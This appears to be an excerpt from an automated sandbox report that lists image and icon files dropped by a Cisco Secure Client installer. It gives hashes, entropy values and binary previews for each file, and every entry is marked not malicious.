SHA-256:	0D5106D9C61EC53AC64D4663204A75F5257B41E24991F1D6CCD50471CF81C341
SHA-512:	4DF4F567FB4B1184610D1884D13F75C474757641F64CA05B6333391C12B7AFA0D7889F4DB374AB54F69E262EE4B12FB89A12E037A8F2926E01ED457D233DE3F9
Malicious:	false
Preview:	.PNG........IHDR.......m......O......tEXtSoftware.Adobe ImageReadyq.e<..?.IDATx...r.H.(l...70.l....L..60}....VrRI.I$_..+.&.:..`kBk......^........H..G.\|..l}.@......,.........................................................................................................................................................................................................................(.....?...i..........B..]......5._O.L/.2}R:.....}.....i.._...R.+..ez...../......?)...)...[....?..S.......x..g.x7.z...T....H...D.... .....H................ ................ .....H.....=...v./...I..4.......S..:..\|..1..._.+.s.......hF....y.....!.....:..<._...).....&.P...e..;l.c... ..W.8.... ......1@.l.h...'V...k..IL.L.r..h......q...g];/.T.K..rw=...%?>....kM... .0....IB.yr.....;............... .....H.......... ........n._.......-....,....3..,..Q..L.J.2.._..,..2}R2....@......?>...~.X/....4...k...L/.2.+...4...._...).....(.)......y..@.@.. ......... ..b..WB....@5..W.Ym...?..)...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-MGHE9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	543
Entropy (8bit):	7.547901309478316
Encrypted:	false
SSDEEP:	12:6v/7CWdT8JNBxFtHpTJKAghnooED91TFxff+Tye5N3Q2+ah7:KT8rBztJYnCjT3+TN5N1B7
MD5:	5D99349B36EE267BD85E3A4E4C8B9D09
SHA1:	AF5F88451BA51F5FBAE5D3D603655138EE78D27F
SHA-256:	84EF9A5D991E3B3E68AD6F7B8F2D9F279769DC9D27BBB205C3AB9B2BC1607ACA
SHA-512:	58C4E4CDD9B7D5C660A40467F504137D1779222AF24DAFFABB495DBD476A65940E93EF7E8EE7F9BF69A4C4F560D6BA5FB4EEC4DE81C77E4383A24D7B0110DA85
Malicious:	false
Preview:	.PNG........IHDR..............w=.....pHYs...........~.....IDATH...R.1....y...U....kx..p.9..>@....' (d..=\..p..$....z...;s.In.}../..m.+..4..7.~...@e]...Wx.....~G.2.x+.6J.<&^..).Y.S....Tv.<....,.+..`....G>..Q!".5.h.l.}.I<...S....t..>%r.0w{.1.mE .@.K.6.-........./L'S.7.\|.j..]Z.w..<.'.Kk...`..0N..L..7_.(...C........8,.9. \.T.......K...\..0..L....:...!..}.$.(QQ.....T...../.)dzT..5..iu.......N./.....r.>}.&h%...x....o..6W...B.(...z.a...0w.....BYf.%.{.$.y.NUt.@....F.T....ge.:v.m..t..xp....d......o.>.....0....IEND.B`.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-MICF5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	12436
Entropy (8bit):	7.977312501768235
Encrypted:	false
SSDEEP:	192:9duiLviw1Tg2WOFeuMhEhKPewOSJKVBpFGo5cJUs1P3X3cI78saDjy6Z7KiasZM1:7vJ0OYhbPWEKLaoe9dXsI789HZTla
MD5:	3F1083A6458C2CC3E9743D03ACB0D349
SHA1:	280DA65E961DAC251D6394A234E92FB110DBC998
SHA-256:	78A87D7B4CDA2E04CF4A608C78CE627450E15CD75AE121B4D72466837197D096
SHA-512:	250604CE42BD866B870A50B01E892036364DBBBEA1AC58EF60B3E4E38513A9DADE3987459FBD83681435D74521B368550DFE329E70CDD84837BAFCD2E43B53A2
Malicious:	false
Preview:	.PNG........IHDR...............&.....pHYs...#...#.x.?v.. .IDATx..}.xV...c....../\..T..@.....T.`.d....H.H..^F.@...!.X.x.PqP..{4...4.F.I.......2....".?...f......._...?.u.....}$,$..._TZH.9H..q....5...[.[T.#=.=..._...s..R.0Or..5eCl...g..e7.+z?eE........6.~.";.y....W.(?...Wf:P..gI.<b.Lr..Qd..........\.A......t.`,._...u...`/.........!.{...T./...........+....>C......8.....[.. ...WNQ~.;v..3...b5.l...\~....+R....+.. ........`..........{;v.\|Ry..x..UQ.&..%..$....>s......../..2..\T..Y..G#......x....W\.DT[.....v},]I.Vr.m.....x.......1.cu.D...bO:...6...,[\)=....,o..o.a.(.".....&.D.......=x...P&.........".}z+/_..X`etu..J......1....A..;...B...{.....M./Vb....v.T.a..3.....k.....T..JC.u....`.[..(R..........{..4R...B.8...vE...}w5...[.....F...3pTU{k.Bz.L....-T...T..?......\|Py0..&.J.\|...........{"..3pT.V.r...PH..R..M5V..AB.8...R..A.\......(3.p;..\.h.m....p..Q..'ok...O.6.$.....g...J...0...?O.~[[.),,4..N.......M.....cb.jT.JU.e..........1..({DW....K.*,=..!..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-MQ8RN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4267
Entropy (8bit):	7.94257084168463
Encrypted:	false
SSDEEP:	96:IqGbLvTlphRGJSqAeFg590km/kqzrxsoCeaV6XjNfUmhPRD3el9:ILhKFZa0PCPiNfU2RCL
MD5:	7014A8C17D7E8E5A2BEDB4C4E0C12E80
SHA1:	28881EE38814E155FA7B1E0096801A644CAB6548
SHA-256:	BD9514FA182DE90450B6E6E3EEDB2E084CD1390D5B6FDF0509B81EC36B963147
SHA-512:	B2B94E806A4F1F8BACAA2870944C75952A9C9F0577AF6571BFF65038DCD242AF5B887E400430E8E8B0B8E8BD2BA7A7318247581304C668662A7A6A255F142A12
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......tEXtSoftware.Adobe ImageReadyq.e<...MIDATx..Zyl..u.s......x..$J.i).l.......6..8.k.h`....(Z.UZ.Q.-....4n...l...6r.@r.#J.K.M..O.7w.......{..R.E.....@.vvw...{..~..~....u7.).......Np..r..K.(f..%!.LB1k....p.......E..l.........x.."{$.Wl..hY.lAO.R..B>d....c...D?................=...[....N....;.\|..d.T.&..q..."....I...pi8...?...6...s.R.....z.......U5.pM{.j..C..k..wW.....W.e..X.....9"...Q.@.y.G.,.x<....Y...]....\.wn.........YsI..+.....m.?.o..^...`@:]...w#.sv....x....@..0As....!...j.^.q.~..G..z~x....q.....J..a......6=td.=.M..Z.k..,.#......i.......xP......S.A. o.y.`A.C.i%..5~......_.Y.?/.%.=z..dr...N..X.lz.....\|......x.s6.d.". ........l....@Te.C.)..E..@..%.$..e.&..r..g...9.]k}.t..R...%..6..{............G^.o....F.!.F..Ar*`.<....L...&......S..y\|..,$.Yp......A.X.t..N..q.....d.p0.A[S....m...2.g..nr...U...../.vu.........Z".Cl6.....Dt...s2.....l.`.(Z.x.2h...3.f....M.<.F.H)......q.H..p...n.M.......T..._..v?..5(x....

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-N3QA6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	478
Entropy (8bit):	7.3703130572324955
Encrypted:	false
SSDEEP:	12:6v/7xE0NSVUvFAccOOfACD09VvVupRqR5/MXMmxHlWX:YY+vFr+cvV8w3MXMm+
MD5:	D3BD002D9E657FC264347FE2FE45EE8D
SHA1:	8EC6528F2E8A07036C5D5F439FA0438C99CE814E
SHA-256:	B17D8F8BC1B971962A798743630816DFEF50526A2692BB458A7B1B6A546D28B0
SHA-512:	3BF535A63BCE729ABD443CA4265147DB46DFF698BC2AA27C7FFE430527F7C4FD921AFFBD6E789BC00EAC4DFFE300E82488A8C4886DC9D629DCA6B5CF905C0624
Malicious:	false
Preview:	.PNG........IHDR..............w=.....pHYs...........~.....IDATH..U.m.@.}E. #d.n.. ..a....2@.6.p. a..AG...}..A.U..% ..g.g........u..%.w....'(.............%..{...S..p.gc.\|...Y......\|`I.\aZ..5..d@..>'.z.7.)....b...P.'...y..4.l...+........I!{......w.eFV...d...H....xZT.c.F.=...f/.Q...".......BF7.a......)....\|`..m.o..=.f.........%.d.._.........z!..&,6.;KwN@Z.<~1..%...b....L....<...k8.c.'.....+.&.dE...o..7.....ke..M..Ot..N..^..n.~............IEND.B`.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-N5UP1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	14308
Entropy (8bit):	7.981829207860698
Encrypted:	false
SSDEEP:	384:XybKkbzXX5gnaVvNX5HqQiVAlwokisiMCb9sdP4++2SC7a1Rj2:XFyBr5KAworb9sB4Yi0
MD5:	1FC5657F3DDBAE57EA997277C9D6488A
SHA1:	2C4A261FEA797112FF95ABDB008435329BC8C048
SHA-256:	DC39DF1AECA15B0BAD3E15D05CE917D3CB7CB00C4F363BE67AC5741F82E5A57A
SHA-512:	CA37C34378244C91AC316717B1DFBA2E3D596918F9000710ECDF503728C2C207031F71224410CE661AADB59DB5272EF993A0826E96D311784F32BDE7BA125440
Malicious:	false
Preview:	.PNG........IHDR...............&.....pHYs...#...#.x.?v.. .IDATx..}.x....{.......!.}V...U.`...Z..X.....j.j.\!.V..P..........OM.AhQ.l.[5... .\ ,.{~s..g.=g..v....'..ef..w._J.bn.)(.-$.m....l.....[k..47..G..v....W.5...5.Wz.....'.._6@.$@....>....].g.....=..G......V$;.'..........._6 .$@..WY.U....)q;U+.V].[..qR..a..T.\O...Y....u.v).q.-..d+..]...._s<.X..sJc.TO..v.G.og....Z>T...'.`.[.x;....l....>...e.:.x...\|.n.d.=....2.aKt;.....}....W.B/<6%.D......?q....I..:~..}a.d.`'a....+R.')8..\|j.....W.s..w.\|.I.oy:....'aO...txa...w....M.)..!q.S.>g1..+V.{.wL..eO.x.......a...k#.[....^....b.D4.z.....X;..e.d..O.a.D...%...+H....u^.{..vm.....c5.Kl..+.V.....&.n]:KO......l;...Q../.r.U..........6n.....p.^...4.......1..].i..C..%O.q.W5.4....;..h..].I.B.(....-.ex..:.l.....i.N..qp..=...I_..8.E.I.j...R/.i.1..x.............?.&o......W.57.5..t...E..%D.<..@3N"*..b%8Q.1..1....V.B..8Q.o.....).<...1.T.x.L...h...KdOc..V3..E...Z'9(.<.U'.D.....MY........4...}...R.rL........g

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-NH2VU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	3.4732129504366194
Encrypted:	false
SSDEEP:	96:h6QRIHYm77Z5IVpIHwuS0g72HR1K9TEYkbGg2o:iHY0TUuUSHRAQXHx
MD5:	E61CF737A35E8DB52178528A0CBFE702
SHA1:	DE0A794D67A3DEF7079CEC7C48AC580CC71A7270
SHA-256:	559C518DC1F316C4991DC95D131CAB0BDAC445B1CE41B28EC8244CDD78F8AB2F
SHA-512:	8563013E9A2B75F5EDF00D71A292634FE375D5F6670F7F303C2CAB2DC271FDFC04A760417E2D487269D26611F6D236E6164EFC3179452AB34B1D42ABC17C51B6
Malicious:	false
Preview:	...... .... .....&......... .h.......(... ...@..... ............................................................................P...........................@.......................................................................................`...................................................@...................................................................@................z]J.X5..M'..M'..M'..M'..X5...kY....................0.................................................................xh.M'..M'..M'..M'..M'..M'..M'..M'..M'..M'..M'..X5.................p........................................................X5..M'..M'..z]J.................................X5..M'..M'..X5...........................................................xh.M'..M'..z]J.............................................M'..M'..M'..M'...................................................xh.M'..M'......................................................M'..M'..z]J.M'..M'.............p.......................P........M'..M'

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-NOKT6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 101 x 101, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1856
Entropy (8bit):	7.845521158056495
Encrypted:	false
SSDEEP:	48:M5K2A2T3d0z5uOpdNSaQfbDS3YsPWaU3SjmUjm42rh:Mg2A9z5Fp1W3otPW5p
MD5:	AFAF04A11862845AFC31D64F7762D28E
SHA1:	C5E99C3DC321086738CB7BCF13EFF55EBDF1D3CF
SHA-256:	6797601AA69F2B489ADAB85A6DA73E78D4E041D24598BC726A3E837D2BE2D75E
SHA-512:	3D463D3EA19E87E8B592974BF4B69F4F6F5DE08975BB04AB0C180AE7CC49C9866E7B40F2D5890E50E7BF0FE2F8830125335FECB7C4FED8F2AF6045F8E66E18B4
Malicious:	false
Preview:	.PNG........IHDR...e...e.....T\|-.....pHYs...#...#.x.?v....IDATx..r.F...I.t..X...&T..P.JT....d.)0..@.....I.T...~..L.9...".....s.7..{D..\|..?w.D".H$..D"......$...h..{...#..C..6dDt...0..]..6.v.<.,.....8E.k...$.h..j)..s...C.XE.r]5\..E\|..].bDY.....Rl...\X..p]WMt.,..Q..O...Oe...........\..b...1.\|BY.f.r.d.5.]..#e..h.u]5.y%...DtGD....q_Z.m.Vi.+......5....{G.^~'..-.8..Xx...xK.-...[.a...2_wa...%....E..!...m1XKi.d...r...o.v.>.SIeq..)m....AH.....^.F.?.....w...?.s.G.......^r...G.(.viDh.X....O.>..+..5@....9....+..]W......m.emb!...../....W..WS?8d.E.<.Q...S...!.!#.R.u5........4..Qn.F.G[.PYQY@...D........\|..,..am....h..k..e"0'....IQJ..@N..7...&^.Y.S..........Q[o..../\|j":.xnb._q...{^c'..Lz..!(.t..t..k.X...n..+................xLkzz....W..RVr.....Q.wy.T.........]... $n)d..#..........%..}.Hx..q..,T7..F..v....=7p..$(....].S.....D......=...m.B.......ML ..%...X...U.*...e..H..EM.?......].....D...o.).M...W.P.h......=..#..4...Z..0Yn.E..?...K ;K.$..n..Zq-A..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-OATHB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	3.7071518309363354
Encrypted:	false
SSDEEP:	48:rtQAZDlpb/oRjRgvFBvOcVYVWZahUNZGIJMWz6izv2dBtj33xNCpK0v6wxrf0Dgk:rt/Md6vFBXKWIhUNky4X3IrvX1sDgro
MD5:	1C98B43E6778943A5358BE61A90BA74C
SHA1:	5267802FF8108EA1709CFEB6C156A7AA5D6140BC
SHA-256:	BCE250F3AEA36B7A76C5D4D73B03CE83A7988BBFB6F6AA69C92475C39DABC22E
SHA-512:	7C10E7FE2D1A476D0A923937597B95D505FBE6978ED4518A99F1FC391CB6281CE8A0F94F3772C83ABAEF916B6834BB5490833BF60BB3B9FA67D61CA0B7C16015
Malicious:	false
Preview:	...... .... .....&......... .h.......(... ...@..... ........................................................................P..........!...................................................................!.................................... .....................,3..................................................................#,.............................................kY.M'..M'.. %..5C..........................-9..-9..........................(2..0;u.......................0............cB+.M'..M'..M'..X5..z]J......y.......................1=..1=......................[q...'........................0.........xh.M'..M'..X5........................#......................................................DU................... ........nP:.M'..M'....w..........................,0..az...................'...'..................7F..9G.............................z]J.M'..X5..............................................................................\|....#.................................M'..X5

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-OM1CJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2274
Entropy (8bit):	7.88487369762579
Encrypted:	false
SSDEEP:	48:ANENb8K8isarhoHup4l7Hn5MPuvW5LApZJ+WoXY:Bbx3rGHupubC6NpzSXY
MD5:	02AA7BFBC5519A9410E0D27732A6A163
SHA1:	9DDE546C6090CA4BD8BE58F8625A6AE25D440E6E
SHA-256:	B08A8AE17D62E9CF9D6E91E59955AF91E1B126FD82BC1071BDAFEE8AB6818253
SHA-512:	323777E1ABC44F643AD6AE581970D551D6BB94DF485377E91DB411ED8B839C47F8490002DF9756AD340BC19D8676050A620A1008F211B3AC32C39BE37CD35093
Malicious:	false
Preview:	.PNG........IHDR...H...H.....U.G....pHYs...........~.....IDATx...LUe....]i...%L.......^....#.J[6...[.Q.....2.0.p...sT...o.c.n..dE[N/E.9..H..k.....{..s.....wc.{.=?..}..}..}.3....jK#.d"......&"......ug.\|b......".&.,"J..[.x..&.J$s....]=t..........TMDU.G.5=._.@&...........c[\|V..v...\|3..3.......,...`vp0.@.H...e.`V..`]..g.^sN........ o0..-.gQFz........J..+j.h@&...T@D...k.zwl1Z.t.......r.U.. n5..5p..{..f1r.E.=P"\..6.jM..2Ym.....u.V..=[)&:."i...^.{.(U.:C.V..uMjo........N.DG..9.......?.4,....)cy..H5?]..s..5.lm.w:TAR...)M...YV.GK...<.....\|.".p.%.....f.u5............Rr..y.}..DLSr.".z...w....n..d...8B.@...xmU.4+...J.n............(KQ~...,.L....>..LV..9....[..../.G.T..(..>4(7...xGw........h.....X.....{..V-@B.../..y..1..W.d. nn...&....~...S`....k...@k{.w.dP-.n....Z.(...=.:...N..#\......-~......0..;...K. .'....;..\|J.n.d.t...A_O)d..g r...w-...e........@5.d.v...........e.y-....3\.......H..[.g.roI.=.(B...\.d.....jh..K..S.].......Xf...jC....ol...2

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-OPPH5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	472
Entropy (8bit):	7.339402871750466
Encrypted:	false
SSDEEP:	12:6v/7IEzFffWxjBiqsoNKXcQjmUVQtaaHI:hI0RBiqJycQjmU6t9HI
MD5:	AE59E69F9BB8D40D28E2C195A5F131BD
SHA1:	1AC9ED0DD66CEFA5F515A8C0D51A3E26B7F2F6A9
SHA-256:	271F2C4002F0127CD049A9BEEED8474FACED3217E7BB0C6DDEB8B34F8536FA8E
SHA-512:	D69C0C2F7C190D1795A5C6455949C0B7F63D678785C170D8DB4A7D3FF88A048D954C8236E750D2F38CAD6CED9072DA7E8E3B5B384465074637D43390D9857C26
Malicious:	false
Preview:	.PNG........IHDR..............w=.....pHYs...........~.....IDATH...Q.@...:..;......C.2)@,..:.........(.9.........0....v.~.?.....j.....g.>n...z...u..NLU...;..2.s`.\|.$...4],....Y............H.......G~.`$.p..^!]dS.UT.jE.%.......T...Y..O.....S...(.O.\.}..E{..2.p...s.._..,.D.wP.....DK.v...el..\|..w.~.....{`))v.. .6^..y..rm:R}.L...+..<."..r...y#D9rD.Sd.Y..D_.o~......\.....$&;.1.6.<%...v.-.v3.^-M$ejU.4?%.K4..Y.R..Sm..'.AW..E....>".....^=.Y.......j.d.h.....IEND.B`.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-PGBGV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 300 x 40, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1601
Entropy (8bit):	6.020486157649533
Encrypted:	false
SSDEEP:	24:HA/6I1hxWwUyl3ZknA9VYVhEfNAG+ojoyMmcI1VYj41jCw1jaPl3VYjJoUHH3yG3:g/6G6GknA9Wg2O0y/c0CKum23CuUHiWV
MD5:	F999F81B91475C98DE33D66E186DF2CA
SHA1:	397B889C5AA95A25FFBD128656BE5D91A71F3275
SHA-256:	F807E26DA3A4BBFBD9552D2D50FB0F5FC28AAC46635470E3F834C2042C05310B
SHA-512:	2A43CB4EFC414F8FAE4EA173FB53CF2819975C76170DCEE4A995B3A74786C167C26DF258E1E589ECD92DECB999683EA38C6C4882CC2E299313C9357080521844
Malicious:	false
Preview:	.PNG........IHDR...,...(.......P.....pHYs................:iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" tiff:Orientation="1" xmp:CreateDate="2018-10-09T14:27:50-04:00" xmp:ModifyDate="2018-10-19T17:58:51-04:00" xmp:MetadataDate="2018-10-19T17:58:51-04:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:c57f0649-d423-40eb-938e-eeff8347c1a5" xmpMM:DocumentID="xmp.did:c57f0649-d423-40eb-938e-eeff8347c1a5"

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-Q0KBD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	3.4144936482461397
Encrypted:	false
SSDEEP:	48:xLEWi6fEolR+vy+f7I8QbmvTn+3vCpK+hxZBBBpkbGgo2uo:xLV7EolbUISLn+3UBZBBBpkbGg6o
MD5:	68A2EA89135A31CE9E3E598F981433E0
SHA1:	1E2DABDFE730EAFD9A21F09C0E8E7F84E159E115
SHA-256:	73A199B9058AE8665DE3AD7792A7EE5DF7ADD2A4F2D8EFF49D81F221E8AFF85E
SHA-512:	CBCF48A63EA4CDC853950D2240B216EC8037E5CF0DFA9DA590C9F3749D5090406CA00CFCC5F844A7024ADD80B113F49F2F7D7F3D739F813360DA47720418DAC2
Malicious:	false
Preview:	...... .... .....&......... .h.......(... ...@..... ........................................................................P.........................@...@...@...@...@...@...@...@...@...@...@...@...@...@..................................... .....................................@...s...s...s...s...s...s...s...s...s...s...s...s...@..............................................kY.X5..M'..M'..M'..M'..M'...@...s...s...s...s...s...s...s...s...s...s...s...s...@.........................0...........cB+.M'..M'..M'..X5..z]J.z]J.z]J.nP:..@...s...s...s...s...s...s...s...s...s...s...s...s...@.....................0.........kY.M'..M'..X5....w..........................@...s...s...s...s...s...s...s...s...s...s...s...s...@.................0........nP:.M'..M'.......................................@...s...s...s...s...s...s...s...s...s...s...s...s...@......................nP:.M'..X5...........................................@...s...s...s...s...s...s...s...s...s...s...s...s...@..................z]J.M'..X5

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-QIFMM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 101 x 101, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1807
Entropy (8bit):	7.846793911413473
Encrypted:	false
SSDEEP:	24:M3uM24lXN+maawwFvEk9PMjKHcdAJ5xo+n7R/0+5GpxwGjQaTNn7ohEoGCL5F2lr:M+VU3vVsk9kcqE7RN+x/BohRnG
MD5:	536C911881523B9F8402A481881992A0
SHA1:	2748A03D65DA7D6B4A95ACBDEB6ECD6F409A0ABF
SHA-256:	246B7E52A41AA64365D84C7DA73FD20C27B8C825C61394AE8C775DBD9BF5B668
SHA-512:	608DFEC9C7980707B9947F3CFB8BEF93FDF1D6D5B908E25888BCA0C7CE83C70F23AF87798F38E364E75FA05C89523028B5742E3084E6401068A7DE6BC5BF90E4
Malicious:	false
Preview:	.PNG........IHDR...e...e.....T\|-.....pHYs...#...#.x.?v....IDATx..;R#I..k.........1...h.@'..:.V...1'.q..kM...Ly..h..6J.=....Y.%E~...!..wVe... .. .. .. ....O;....I..UO...........R.........7...E)5W.d...Q.)J5.7\{....Q.W.P.R.a.@.K......ab...Q.d..zV....^..m.C.t..U.Y.e..(.....x.J)...s.....)..XM....Y.._~Q......o#..........=.p+b.E..X..X.}.'..o...DJw..GJq.].^.%R.#..3.y<.s...5.......s.s....;>.Z.q.F./..r.Z...T..=.&H......z...~J/.%.....(.~.\|R7...z.LV....+.........T....\|L.1i<..Zc.]LO.;.@.:.?IU./..A.,.-.rGr!Z...'I.........6+^......a....n6~e6ejy.f.........\UC..\..i..s.r.U_.i..>......u...p...zb5..t\|u.h.gxD..}6T[i.jxO./..goc...9......(.[..........*.{.8.f.(..R..J8.za.;.t..aj./.5.^px....g[...]z...=.Q.Q.%.D...z2`.;.6.K9.26Tc'....)_...$..<.&.7v.....pQ..N....s.c...XX..x.>..O.....)&/IYm..=....7.A.......c$..R....T{.q......C..@.L.....]({..>y.:.e.#....ym.....g^.R.....v.$.M.B.E....^.xSF80......n\|Ph./..%<.I...X.f..=.pz..~...a..O1.9g.m.Mp....n.v%D....w....F6.....{.".!.~.}..}.P.S.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-QL4M0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4117
Entropy (8bit):	7.943813748161345
Encrypted:	false
SSDEEP:	96:79m160UrZetyDZrcRzRB+6nB49EkDPzkWb9PhkqjhqBx1DNo:79G6xr6yVrkzRB+UkEWb9pji1DNo
MD5:	04127248AAA5B7D32DC2DE4F02DA025F
SHA1:	6509E437F6503A9975953B955054D29ACE439D5F
SHA-256:	946B8C23BF05558B52D273502A65731A5E412C9E02A544748C5E5C27A3ED6D0D
SHA-512:	F26907895DAAEEE025FB20BCD22803F1151A5D5037B85FF1DCD71DA98E78C417996C08759F646D8E463FB6DD43A36F10092746D6520F9C70BE4AC03AF3B5F48A
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......tEXtSoftware.Adobe ImageReadyq.e<....IDATx..Z.l..u~s........)..(.,KQd.Ih...D5.q..(..@."6..E[.P...r.F..5..H..@Z'h....(:...P4.S..]..=..{..R.D.....@.;...w\|.{..............@.DW.8........`.@/.!.N....o..r..D.\..]..? .";U_U...R../q.b.e.e..%-S..J..._1.....0...P(.....!........U.......kg.6...-....^.m...8.....E..3E.r}...._..fg&..............f1.....B.u\.g....zz.w...NWoc.... ...m.....9Z.'.....l..a.L..?.KX?>?V.:84X.../..7...._....#..zT.~.{wu..B......VI.l...e..F^.l...Hy...1..4...[.p......S....j./.t.0..c..O..Z6wGiw'..h........8..`w.g.5.Q..&.Gxd...@3,..z...8.T...,..VAP$(.tm... .. ..........\.`.Q.hQ.I\v.].....N..............}...@...%...........x.x.DU.e$..m.5%..(.A".X.d@r...d.l....:.B..Q..U.H.5....X...k.'...p.>.ZCWo..{...j.2...[....Fg...0.\T...4d.'....%H.....@.k-...4!.+..B..Obr.=948..BgK5?..;Sv`.....)\d........u..}.pw..G.s.TV..R.<.7S......0}.......h.9...NG... W4..<*.!..>.U....;c.>..Z.sR..<w......I.....G:.>..#"...%...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-RQKHT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 301 x 301, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	12558
Entropy (8bit):	7.968059020803266
Encrypted:	false
SSDEEP:	384:uop8Zgd6lZbxmfVR68Sj8p3f/NMolH6FeIB9OxW:uo6Z4Ic6potlg
MD5:	D30964E871F60B296F5109215FC341DC
SHA1:	365DDAFC27D304BBB3B8A99D0A62504E5D2D0B03
SHA-256:	16FDE630F3C55080422FE6965CE08D3CA85168655C73E05E3F9B7C00DC14507A
SHA-512:	22E918B1187909FCF80ED6ED091ADFA6081E95A2482F6676DA84D8CD580CD4557D9FBDCDD948ACEA03A8001BABA4653F4C735672F668DB9D226F9362A079358E
Malicious:	false
Preview:	.PNG........IHDR...-...-.....].6.....pHYs...#...#.x.?v.. .IDATx....U...hr!#.D'..i.L.$.l..V...q+.....H..l,.h...T.v.Ui..@..,.....Y..1.i........BX%:..4.n.O../..y....s.s....{.}.....>.}.a\|R(.!.!e....\|.:..Y.Jm..g...E.....S#>...R....0..[Dt.....R...i1,Z9BDJ5B...b49e....b..Z.`..(B.lq..Bq...!b.#Zc!..,Z..P..,....R:S.#.MDe{.Jm..\|.L9,Z).B...E....Y......xX..E+%..\|..M."eD$u...z.y...}..H.' ..Z.....X...P...Buk..P."d.9x ......uq..;t..q....Q.y...=..'rv......h.F.B5...h.%....K...>...@........7i.....8t8..e.3..-.(K....DF..+F..>.4nTZ.&G \.......[.G.......\|3`.J.a.#....* J..&..e\|....x...g}..L...VA...O.....Q.\.U..{.He-...Dkk.NK..w..N~.z.'./N.c.E+&D..B.....~...4nt.#)U.}ml.fEc.\|....Z.....,Z.S(...)`.Z.U}...5}....cGa[_....z...8u......bu_....~.6ni.Ak..D`..ul.G...F._.("..b.ToZ.D.7g:.U.....L..x=....-.....0...fN.J...j...=.. 